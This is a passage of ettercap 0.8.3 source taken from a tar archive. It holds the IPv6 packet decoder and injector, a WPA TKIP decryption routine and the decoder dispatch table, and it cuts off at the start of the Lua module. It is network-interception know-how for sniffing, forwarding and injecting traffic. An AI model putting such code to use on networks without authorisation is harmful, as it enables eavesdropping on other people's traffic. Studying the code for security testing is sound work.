ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include //#include #define IP6_HDR_LEN 40 /* globals */ struct ip6_header { #ifndef WORDS_BIGENDIAN u_int8 version:4; u_int8 priority:4; #else u_int8 priority:4; u_int8 version:4; #endif u_int8 flow_lbl[3]; u_int16 payload_len; u_int8 next_hdr; u_int8 hop_limit; u_int8 saddr[IP6_ADDR_LEN]; u_int8 daddr[IP6_ADDR_LEN]; }; struct ip6_ext_header { u_int8 next_hdr; u_int8 hdr_len; /* Here must be options */ }; struct ip6_ident { u_int32 magic; #define IP6_MAGIC 0x0306e77e u_int8 flow_lbl[3]; struct ip_addr L3_src; }; struct ip6_data { u_int8 priority :4; }; /* protos */ void ip6_init(void); FUNC_DECODER(decode_ip6); FUNC_DECODER(decode_ip6_ext); FUNC_INJECTOR(inject_ip6); static size_t ip6_create_ident(void **i, struct packet_object *po); static int ip6_match(void *ident_s, void *ident_c); static void ip6_create_session(struct ec_session **s, struct packet_object *po); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ip6_init(void) { add_decoder(NET_LAYER, LL_TYPE_IP6, decode_ip6); add_decoder(PROTO_LAYER, NL_TYPE_IP6, decode_ip6); add_decoder(NET6_LAYER, LO6_TYPE_HBH, decode_ip6_ext); add_decoder(NET6_LAYER, LO6_TYPE_RT, decode_ip6_ext); add_decoder(NET6_LAYER, LO6_TYPE_DST, decode_ip6_ext); add_injector(CHAIN_LINKED, IP6_MAGIC, inject_ip6); } FUNC_DECODER(decode_ip6) { FUNC_DECODER_PTR(next_decoder); struct ip6_header *ip6; struct ec_session *s; void *ident; ip6 = (struct ip6_header *)DECODE_DATA; if (ip6->payload_len == 0) { DEBUG_MSG("IPv6 jumbogram, Hop-By-Hop header should follow"); } DECODED_LEN = IP6_HDR_LEN; /* IP addresses */ ip_addr_init(&PACKET->L3.src, AF_INET6, (u_char *)&ip6->saddr); ip_addr_init(&PACKET->L3.dst, AF_INET6, (u_char *)&ip6->daddr); /* this is needed at upper layer to calculate the tcp payload size */ PACKET->L3.payload_len = ntohs(ip6->payload_len); /* other relevant infos */ PACKET->L3.header = (u_char *)DECODE_DATA; PACKET->L3.len = DECODED_LEN; PACKET->L3.proto = htons(LL_TYPE_IP6); PACKET->L3.ttl = ip6->hop_limit; if(PACKET->fwd_packet == NULL) { EXECUTE(EC_GBL_SNIFF->check_forwarded, PACKET); /* if it is already forwarded */ if(PACKET->flags & PO_FORWARDED) return NULL; EXECUTE(EC_GBL_SNIFF->set_forwardable, PACKET); PACKET->fwd_packet = (u_char *)DECODE_DATA; PACKET->fwd_len = PACKET->L3.payload_len + DECODED_LEN; } /* calculate if the dest is local or not */ switch (ip_addr_is_local(&PACKET->L3.src, NULL)) { case E_SUCCESS: PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); PACKET->PASSIVE.flags |= FP_HOST_LOCAL; break; case -E_NOTFOUND: PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; break; case -E_INVALID: PACKET->PASSIVE.flags = FP_UNKNOWN; break; } next_decoder = get_decoder(NET6_LAYER, ip6->next_hdr); if(next_decoder == NULL) { PACKET->L3.options = NULL; PACKET->L3.optlen = 0; next_decoder = get_decoder(PROTO_LAYER, ip6->next_hdr); } else { PACKET->L3.options = (u_char *)&ip6[1]; } /* HOOK POINT: HOOK_PACKET_IP6 */ hook_point(HOOK_PACKET_IP6, po); if(!EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read) { ip6_create_ident(&ident, PACKET); if(session_get(&s, ident, sizeof(struct ip6_ident)) == -E_NOTFOUND) { ip6_create_session(&s, PACKET); session_put(s); } SAFE_FREE(ident); SESSION_PASSTHRU(s, PACKET); } /* passing the packet to options or upper-layer decoder */ EXECUTE_DECODER(next_decoder); /* * External L3 header sets itself * as the packet to be forwarded. */ /* XXX - recheck this */ if(!EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read && (PACKET->flags & PO_FORWARDABLE)) { if(PACKET->flags & PO_MODIFIED) { ORDER_ADD_SHORT(PACKET->L3.payload_len, PACKET->DATA.delta); /* * In case some upper level encapsulated ip6 decoder * modified it ... (required for ip6 in ip6 encapsulation) */ PACKET->L3.header = (u_char*)ip6; PACKET->L3.len = IP6_HDR_LEN; PACKET->L3.payload_len = ntohs(ip6->payload_len); PACKET->fwd_len = PACKET->L3.payload_len + PACKET->L3.len; } } return NULL; } /* XXX - dirty stuff just to make things work. * Rewrite it to handle extension headers (if needed). */ FUNC_DECODER(decode_ip6_ext) { FUNC_DECODER_PTR(next_decoder); struct ip6_ext_header *ext_hdr; ext_hdr = (struct ip6_ext_header *)DECODE_DATA; PACKET->L3.optlen += ext_hdr->hdr_len + 1; DECODED_LEN = ext_hdr->hdr_len + 1; next_decoder = get_decoder(NET6_LAYER, ext_hdr->next_hdr); if(next_decoder == NULL) { next_decoder = get_decoder(PROTO_LAYER, ext_hdr->next_hdr); } EXECUTE_DECODER(next_decoder); return NULL; } FUNC_INJECTOR(inject_ip6) { struct ip6_header *ip6; struct ip6_ident *ident; struct ip6_data *data; struct ec_session *s = NULL; u_int32 magic; u_int16 plen; u_int16 flen; // DEBUG_MSG("inject_ip6"); /* i think im paranoid */ if(LENGTH + sizeof(struct ip6_header) > EC_GBL_IFACE->mtu) return -E_NOTHANDLED; /* almost copied from ec_ip.c */ PACKET->packet -= sizeof(struct ip6_header); ip6 = (struct ip6_header *)PACKET->packet; ip6->version = 6; ip6->next_hdr = PACKET->L4.proto; ip6->hop_limit = 64; memcpy(&ip6->saddr, &PACKET->L3.src.addr, IP6_ADDR_LEN); memcpy(&ip6->daddr, &PACKET->L3.dst.addr, IP6_ADDR_LEN); s = PACKET->session; /* Renew session */ if(session_get(&s, s->ident, sizeof(struct ip6_ident)) == -E_NOTFOUND) return -E_NOTFOUND; ident = s->ident; memcpy(&ip6->flow_lbl, &ident->flow_lbl, 3); data = s->data; ip6->priority = data->priority; flen = LENGTH; LENGTH += sizeof(struct ip6_header); if(s->prev_session != NULL) { PACKET->session = s->prev_session; magic = *(u_int32 *) s->prev_session->ident; EXECUTE_INJECTOR(CHAIN_LINKED, magic); } plen = EC_GBL_IFACE->mtu - LENGTH < PACKET->DATA.inject_len ? EC_GBL_IFACE->mtu - LENGTH : PACKET->DATA.inject_len; ip6->payload_len = htons(plen); PACKET->L3.len = flen + plen; PACKET->L3.header = (u_char *)ip6; if(s->prev_session == NULL) { PACKET->fwd_packet = PACKET->packet; PACKET->fwd_len = PACKET->L3.len; } return E_SUCCESS; } static size_t ip6_create_ident(void **i, struct packet_object *po) { struct ip6_header *ip6; struct ip6_ident *ident; SAFE_CALLOC(ident, 1, sizeof(struct ip6_ident)); ip6 = (struct ip6_header *)po->L3.header; ident->magic = IP6_MAGIC; memcpy(&ident->flow_lbl, ip6->flow_lbl, 3); memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); *i = ident; return sizeof(struct ip6_ident); } static int ip6_match(void *ident_s, void *ident_c) { struct ip6_ident *ids = ident_s; struct ip6_ident *idc = ident_c; if(ids->magic != idc->magic) return 0; if(memcmp(&ids->flow_lbl, &idc->flow_lbl, 3)) return 0; if(ip_addr_cmp(&ids->L3_src, &idc->L3_src)) return 0; return 1; } static void ip6_create_session(struct ec_session **s, struct packet_object *po) { void *ident; DEBUG_MSG("ip6_create_session"); SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); SAFE_CALLOC((*s)->data, 1, sizeof(struct ip6_data)); (*s)->data_len = sizeof(struct ip6_data); (*s)->ident_len = ip6_create_ident(&ident, po); (*s)->ident = ident; (*s)->match = &ip6_match; return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_encryption_tkip.c0000644000175000017500000002247213505247364020026 0ustar koeppeakoeppea/* ettercap -- encryption functions Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* globals */ /* Note: copied from FreeBSD source code, RELENG 6, sys/net80211/ieee80211_crypto_tkip.c, 471 */ static const u_int16 Sbox[256] = { 0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB, 0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194, 0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3, 0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104, 0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D, 0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39, 0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695, 0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83, 0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76, 0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4, 0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B, 0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0, 0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018, 0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751, 0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85, 0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12, 0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9, 0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7, 0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A, 0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8, 0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A, }; #define TKIP_TA_OFFSET 10 #define TKIP_PHASE1_LOOP_COUNT 8 #define TKIP_TTAK_LEN 6 #define TKIP_WEP_128_KEY_LEN 16 /* 128 bit */ #define to_int16(hi, lo) ((u_int16)((lo) | (((u_int16)(hi)) << 8))) #define RotR1(val) ((u_int16)(((val) >> 1) | ((val) << 15))) #define Lo8(val) ((u_int8)((val) & 0xff)) #define Hi8(val) ((u_int8)((val) >> 8)) #define Lo16(val) ((u_int16)((val) & 0xffff)) #define Hi16(val) ((u_int16)((val) >> 16)) #define _S_(v) ((u_int16)(Sbox[Lo8(v)] ^ ((Sbox[Hi8(v)] << 8) | (Sbox[Hi8(v)] >> 8)))) #define pletohs(p) ((u_int16) \ ((u_int16)*((const u_int8 *)(p)+1)<<8| \ (u_int16)*((const u_int8 *)(p)+0)<<0)) #define Mk16_le(v) ((u_int16)pletohs(v)) /* protos */ int wpa_tkip_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa); static inline void get_TSC(u_int32 *TSC32, u_int16 *TSC16, u_char *data); static inline void tkip_mixing_phase1(u_int16 *TTAK, u_int8 *TK, u_int8 *TA, u_int32 TSC32); static inline void tkip_mixing_phase2(u_int8 *WEP, u_int8 *TK, u_int16 *TTAK, u_int16 TSC16); static int tkip_decrypt(u_char *decbuf, size_t len, u_int8 *wep_seed); /*******************************************/ /* * IEEE-802.11i-2004 8.3.2.1 */ int wpa_tkip_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) { u_int32 TSC32; /* TKIP Sequence Counter ( 2, 3, 4, 5 ) */ u_int16 TSC16; /* TKIP Sequence Counter ( 1, 0 ) */ u_int16 TTAK[TKIP_TTAK_LEN]; u_int8 wep_seed[TKIP_WEP_128_KEY_LEN]; u_char decbuf[len]; if (len > UINT16_MAX) { return -E_NOTHANDLED; } /* get the TKIP Sequence Counter */ get_TSC(&TSC32, &TSC16, data); memset(TTAK, 0, sizeof(TTAK)); /* create the seed for the WEP decryption */ tkip_mixing_phase1(TTAK, sa.decryption_key, mac + TKIP_TA_OFFSET, TSC32); tkip_mixing_phase2(wep_seed, sa.decryption_key, TTAK, TSC16); /* copy the encrypted data to the decryption buffer (skipping the wpa parameters) */ memcpy(decbuf, data + sizeof(struct wpa_header), len); /* decrypt the packet */ if (tkip_decrypt(decbuf, len - WEP_CRC_LEN, wep_seed) != 0) { //DEBUG_MSG(D_VERBOSE, "WPA (TKIP) decryption failed, packet was skipped"); return -E_NOTHANDLED; } /* * copy the decrypted packet over the original one * overwriting the wpa header. this way the packet is * identical to a non-WPA one. */ memcpy(data, decbuf, len); /* * wipe out the remaining bytes at the end of the packets * we have moved the data over the wpa header and the WEP crc was left * at the end of the packet. */ memset(data + len - WEP_CRC_LEN, 0, WEP_CRC_LEN); return E_SUCCESS; } /* * IEEE-802.11i-2004 8.3.2.2 * * ------------------------------------------------ * |TSC1|WEPSeed|TSC0|Reserved|TSC2|TSC3|TSC4|TSC5| * ------------------------------------------------ */ static inline void get_TSC(u_int32 *TSC32, u_int16 *TSC16, u_char *data) { *TSC16 = to_int16(data[0], data[2]); *TSC32 = ( (u_int32)(data[7]) << 24 ) | ( (u_int32)(data[6]) << 16 ) | ( (u_int32)(data[5]) << 8 ) | ( (u_int32)(data[4]) ); } /* * IEEE-802.11i-2004 8.3.2.5 */ static inline void tkip_mixing_phase1(u_int16 *TTAK, u_int8 *TK, u_int8 *TA, u_int32 TSC32) { u_int16 i, j; /* Initialize the 80-bit TTAK from TSC (TSC32) and TA[0..5] */ TTAK[0] = Lo16(TSC32); TTAK[1] = Hi16(TSC32); TTAK[2] = to_int16(TA[1], TA[0]); TTAK[3] = to_int16(TA[3], TA[2]); TTAK[4] = to_int16(TA[5], TA[4]); for (i = 0; i < TKIP_PHASE1_LOOP_COUNT; i++) { j = (u_int16)(2 * (i & 1)); TTAK[0] = (u_int16)(TTAK[0] + _S_((u_int16)(TTAK[4] ^ to_int16(TK[1 + j], TK[0 + j])))); TTAK[1] = (u_int16)(TTAK[1] + _S_((u_int16)(TTAK[0] ^ to_int16(TK[5 + j], TK[4 + j])))); TTAK[2] = (u_int16)(TTAK[2] + _S_((u_int16)(TTAK[1] ^ to_int16(TK[9 + j], TK[8 + j])))); TTAK[3] = (u_int16)(TTAK[3] + _S_((u_int16)(TTAK[2] ^ to_int16(TK[13 + j], TK[12 + j])))); TTAK[4] = (u_int16)(TTAK[4] + _S_((u_int16)(TTAK[3] ^ to_int16(TK[1 + j], TK[0 + j]))) + i); } } static inline void tkip_mixing_phase2(u_int8 *WEP, u_int8 *TK, u_int16 *TTAK, u_int16 TSC16) { int i; TTAK[5] = (u_int16)(TTAK[4] + TSC16); /* Step 2 - 96-bit bijective mixing using S-box */ TTAK[0] = (u_int16)(TTAK[0] + _S_((u_int16)(TTAK[5] ^ Mk16_le(&TK[0])))); TTAK[1] = (u_int16)(TTAK[1] + _S_((u_int16)(TTAK[0] ^ Mk16_le(&TK[2])))); TTAK[2] = (u_int16)(TTAK[2] + _S_((u_int16)(TTAK[1] ^ Mk16_le(&TK[4])))); TTAK[3] = (u_int16)(TTAK[3] + _S_((u_int16)(TTAK[2] ^ Mk16_le(&TK[6])))); TTAK[4] = (u_int16)(TTAK[4] + _S_((u_int16)(TTAK[3] ^ Mk16_le(&TK[8])))); TTAK[5] = (u_int16)(TTAK[5] + _S_((u_int16)(TTAK[4] ^ Mk16_le(&TK[10])))); TTAK[0] = (u_int16)(TTAK[0] + RotR1((u_int16)(TTAK[5] ^ Mk16_le(&TK[12])))); TTAK[1] = (u_int16)(TTAK[1] + RotR1((u_int16)(TTAK[0] ^ Mk16_le(&TK[14])))); TTAK[2] = (u_int16)(TTAK[2] + RotR1(TTAK[1])); TTAK[3] = (u_int16)(TTAK[3] + RotR1(TTAK[2])); TTAK[4] = (u_int16)(TTAK[4] + RotR1(TTAK[3])); TTAK[5] = (u_int16)(TTAK[5] + RotR1(TTAK[4])); /* * Step 3 - bring in last of TK bits, assign 24-bit WEP IV value * WEP[0..2] is transmitted as WEP IV */ WEP[0] = Hi8(TSC16); WEP[1] = (u_int8)((Hi8(TSC16) | 0x20) & 0x7F); WEP[2] = Lo8(TSC16); WEP[3] = Lo8((u_int16)((TTAK[5] ^ Mk16_le(&TK[0])) >> 1)); for (i = 0; i < 6; i++) { WEP[4 + (2 * i)] = Lo8(TTAK[i]); WEP[5 + (2 * i)] = Hi8(TTAK[i]); } } /* * decryption of tkip is like WEP, RC4 algorithm */ static int tkip_decrypt(u_char *decbuf, size_t len, u_int8 *wep_seed) { RC4_KEY key; /* initialize the RC4 key */ RC4_set_key(&key, TKIP_WEP_128_KEY_LEN, wep_seed); /* decrypt the frame (len + 4 byte of crc) */ RC4(&key, len + WEP_CRC_LEN, decbuf, decbuf); /* * check if the decryption was successful: * at the end of the packet there is a CRC check */ if (CRC_checksum(decbuf, len + WEP_CRC_LEN, CRC_INIT) != CRC_RESULT) { //DEBUG_MSG(D_VERBOSE, "WEP: invalid key, the packet was skipped\n"); return -E_NOTHANDLED; } return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_decode.c0000644000175000017500000003003213505247364016017 0ustar koeppeakoeppea/* ettercap -- decoder module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef OS_BSD_FREE #include #endif /* globals */ static struct dec_entry *protocols_table; static unsigned protocols_num; static bool table_sorted = false; struct dec_entry { u_int32 type; u_int8 level; bool active; FUNC_DECODER_PTR(decoder); }; /* protos */ void __init data_init(void); FUNC_DECODER(decode_data); static void sort_decoders(void); static int cmp_decoders(const void *va, const void *vb); static struct dec_entry* find_entry(u_int8 level, u_int32 type); void **get_decoders(u_int8 level, u_int32 type); /* mutexes */ static pthread_mutex_t decoders_mutex = PTHREAD_MUTEX_INITIALIZER; #define DECODERS_LOCK do{ pthread_mutex_lock(&decoders_mutex); } while(0) #define DECODERS_UNLOCK do{ pthread_mutex_unlock(&decoders_mutex); } while(0) static pthread_mutex_t dump_mutex = PTHREAD_MUTEX_INITIALIZER; #define DUMP_LOCK do{ pthread_mutex_lock(&dump_mutex); } while(0) #define DUMP_UNLOCK do{ pthread_mutex_unlock(&dump_mutex); } while(0) /*******************************************/ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pkt) { FUNC_DECODER_PTR(packet_decoder); struct packet_object po; u_int len; u_char *data; int datalen; struct iface_env *iface; iface = (struct iface_env *)param; CANCELLATION_POINT(); /* start the timer for the stats */ stats_half_start(&EC_GBL_STATS->bh); /* XXX -- remove this */ #if 0 if (!EC_GBL_OPTIONS->quiet) USER_MSG("CAPTURED: 0x%04x bytes form %s\n", pkthdr->caplen, iface->name ); #endif if (EC_GBL_OPTIONS->read) /* update the offset pointer */ EC_GBL_PCAP->dump_off = ftell(pcap_file(EC_GBL_IFACE->pcap)); else { /* update the statistics */ stats_update(); } /* * dump packet to file if specified on command line * it dumps all the packets disregarding the filter * * do not perform the operation if we are reading from another * filedump. See below where the file is dumped when reading * form other files (useful for decription). */ if (EC_GBL_OPTIONS->write && !EC_GBL_OPTIONS->read) { /* * we need to lock this because in SM_BRIDGED the * packets are dumped in the log file by two threads */ DUMP_LOCK; pcap_dump((u_char *)EC_GBL_PCAP->dump, pkthdr, pkt); DUMP_UNLOCK; } /* bad packet */ if (pkthdr->caplen > UINT16_MAX) { USER_MSG("Bad packet detected, skipping...\n"); return; } /* * copy the packet in a "dedicated" buffer * we don't want other packets after the end of the packet (as in BPF) * * also keep the buffer aligned ! * the alignment is set by the media decoder. */ memcpy(iface->pbuf + EC_GBL_PCAP->align, pkt, pkthdr->caplen); /* extract data and datalen from pcap packet */ data = (u_char *)iface->pbuf + EC_GBL_PCAP->align; datalen = pkthdr->caplen; /* * deal with trucated packets: * if someone has created a pcap file with the snaplen * too small we have to skip the packet (is not interesting for us) */ if (EC_GBL_PCAP->snaplen <= datalen) { USER_MSG("Truncated packet detected, skipping...\n"); return; } /* alloc the packet object structure to be passet through decoders */ packet_create_object(&po, data, datalen); /* Be sure to NULL terminate our data buffer */ *(data + datalen) = 0; /* set the po timestamp */ memcpy(&po.ts, &pkthdr->ts, sizeof(struct timeval)); /* set the interface where the packet was captured */ if (EC_GBL_OPTIONS->iface && !strcmp(iface->name, EC_GBL_OPTIONS->iface)) po.flags |= PO_FROMIFACE; else if (EC_GBL_OPTIONS->iface_bridge && !strcmp(iface->name, EC_GBL_OPTIONS->iface_bridge)) po.flags |= PO_FROMBRIDGE; /* HOOK POINT: RECEIVED */ hook_point(HOOK_RECEIVED, &po); /* * by default the packet should not be processed by ettercap. * if the sniffing filter matches it, the flag will be reset. */ po.flags |= PO_IGNORE; /* * start the analysis through the decoders stack * * if the packet can be handled it will reach the top of the stack * where the decoder_data will add it to the top_half queue, * else the packet will not be handled but it should be forwarded * * after this fuction the packet is completed (all flags set) */ packet_decoder = get_decoder(LINK_LAYER, EC_GBL_PCAP->dlt); BUG_IF(packet_decoder == NULL); packet_decoder(data, datalen, &len, &po); /* special case for bridged sniffing */ if (EC_GBL_SNIFF->type == SM_BRIDGED) { EXECUTE(EC_GBL_SNIFF->check_forwarded, &po); EXECUTE(EC_GBL_SNIFF->set_forwardable, &po); } /* XXX - BIG WARNING !! * * if the packet was filtered by the filtering engine * the state of the packet_object is inconsistent ! * the fields in the structure may not reflect the real * packet fields... */ /* use the sniffing method funcion to forward the packet */ if ( (po.flags & PO_FORWARDABLE) && !(po.flags & PO_FORWARDED) ) { /* HOOK POINT: PRE_FORWARD */ hook_point(HOOK_PRE_FORWARD, &po); EXECUTE(EC_GBL_SNIFF->forward, &po); } /* * dump packets to a file from another file. * this is useful when decrypting packets or applying filters * on pcapfile and we want to save the result in a file */ if (EC_GBL_OPTIONS->write && EC_GBL_OPTIONS->read) { DUMP_LOCK; /* reuse the original pcap header, but with the modified packet */ pcap_dump((u_char *)EC_GBL_PCAP->dump, pkthdr, po.packet); DUMP_UNLOCK; } /* * if it is the last packet set the flag * and send the packet to the top half. * we have to do this because the last packet * might be dropped by the filter. */ if (EC_GBL_OPTIONS->read && EC_GBL_PCAP->dump_size == EC_GBL_PCAP->dump_off) { po.flags |= PO_EOF; top_half_queue_add(&po); } /* free the structure */ packet_destroy_object(&po); /* calculate the stats */ stats_half_end(&EC_GBL_STATS->bh, pkthdr->caplen); CANCELLATION_POINT(); return; } /* register the data decoder */ void __init data_init(void) { add_decoder(APP_LAYER, PL_DEFAULT, decode_data); } /* * if the packet reach the top of the stack (it can be handled), * this decoder is invoked */ FUNC_DECODER(decode_data) { int proto = 0; FUNC_DECODER_PTR(app_decoder); CANCELLATION_POINT(); /* this packet must not be passet to dissectors */ if ( po->flags & PO_DONT_DISSECT) return NULL; /* reset the flag PO_IGNORE if the packet should be processed */ EXECUTE(EC_GBL_SNIFF->interesting, po); /* HOOK POINT: HANDLED */ hook_point(HOOK_HANDLED, po); /* * the display engine has stated that this * packet should not be processed by us. */ if ( po->flags & PO_IGNORE ) return NULL; /* * run the APP_LAYER decoders * * we should run the decoder on both the tcp/udp ports * since we may be interested in both client and server traffic. */ switch(po->L4.proto) { case NL_TYPE_TCP: proto = APP_LAYER_TCP; break; case NL_TYPE_UDP: proto = APP_LAYER_UDP; break; } if(proto) { app_decoder = get_decoder(proto, ntohs(po->L4.src)); EXECUTE_DECODER(app_decoder); /* * This check prevents from running a decoder twice */ if(po->L4.src != po->L4.dst) { app_decoder = get_decoder(proto, ntohs(po->L4.dst)); EXECUTE_DECODER(app_decoder); } } /* HOOK POINT: DECODED (the po structure is filled) */ hook_point(HOOK_DECODED, po); /* * here we can filter the content of the packet. * the injection is done elsewhere. */ filter_packet(po); /* If the modified packet exceeds the MTU split it into inject buffer */ inject_split_data(po); /* HOOK POINT: FILTER */ hook_point(HOOK_FILTER, po); /* * add the packet to the queue and return. * we must be fast here ! */ top_half_queue_add(po); CANCELLATION_POINT(); return NULL; } /* * add a decoder to the decoders table */ void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)) { struct dec_entry *e; bool found = false; DECODERS_LOCK; /* in case this is the first call and no tables are allocated */ if(protocols_table == NULL) { /* the numbers are kindly provided by /usr/bin/grep and /usr/bin/wc */ SAFE_CALLOC(protocols_table, protocols_num = 19 + 52, sizeof(struct dec_entry)); } e = &protocols_table[protocols_num]; /* searching for an empty entry */ while(e --> protocols_table) if(e->level == 0 && e->type == 0 && e->decoder == NULL) { /* We got it! */ found = true; break; } /* * wc and grep are a part of The Conspiracy! * but we can allocate a little bit more, cant we? * and no kidding plz, its a serious code from now on */ if(!found) { SAFE_REALLOC(protocols_table, ++protocols_num * sizeof(struct dec_entry)); e = &protocols_table[protocols_num - 1]; } /* We win, they lose, ha-ha! */ e->level = level; e->type = type; e->decoder = decoder; e->active = true; table_sorted = false; DECODERS_UNLOCK; return; } /* * this is to be called in the initialization end * after all of the protocols are added */ static void sort_decoders(void) { qsort(protocols_table, protocols_num, sizeof(struct dec_entry), cmp_decoders); table_sorted = true; } static int cmp_decoders(const void *va, const void *vb) { const struct dec_entry *da = va, *db = vb; /* Here is the tricky part: * the array is sorted by level, then by the port number. */ if (da->level != db->level) { return da->level - db->level; } return da->type - db->type; } static struct dec_entry* find_entry(u_int8 level, u_int32 type) { struct dec_entry *e, fake; fake.level = level; fake.type = type; DECODERS_LOCK; if(!table_sorted) sort_decoders(); e = bsearch(&fake, protocols_table, protocols_num, sizeof(struct dec_entry), cmp_decoders); DECODERS_UNLOCK; return e; } /* * get a decoder from the decoders table */ void * get_decoder(u_int8 level, u_int32 type) { struct dec_entry *e; if((e = find_entry(level, type))) if(e->active) return e->decoder; return NULL; } /* * remove a decoder(s) from the decoders table */ void del_decoder(u_int8 level, u_int32 type) { struct dec_entry *e; if((e = find_entry(level, type))) { DECODERS_LOCK; if (e != &protocols_table[protocols_num-1]) { /* Replace this entry with the last one */ memcpy(e, &protocols_table[protocols_num-1], sizeof(struct dec_entry)); } /* Resize the array */ SAFE_REALLOC(protocols_table, --protocols_num*sizeof(struct dec_entry)); /* And mark as unsorted */ table_sorted = false; DECODERS_UNLOCK; } return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/lua/0000755000175000017500000000000013505247364014544 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/ec_lua.c0000644000175000017500000002214413505247364016143 0ustar koeppeakoeppea/* ec_lua - Ettercap LUA integration Copyright (C) Mike Ryan and Ryan Linn This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A 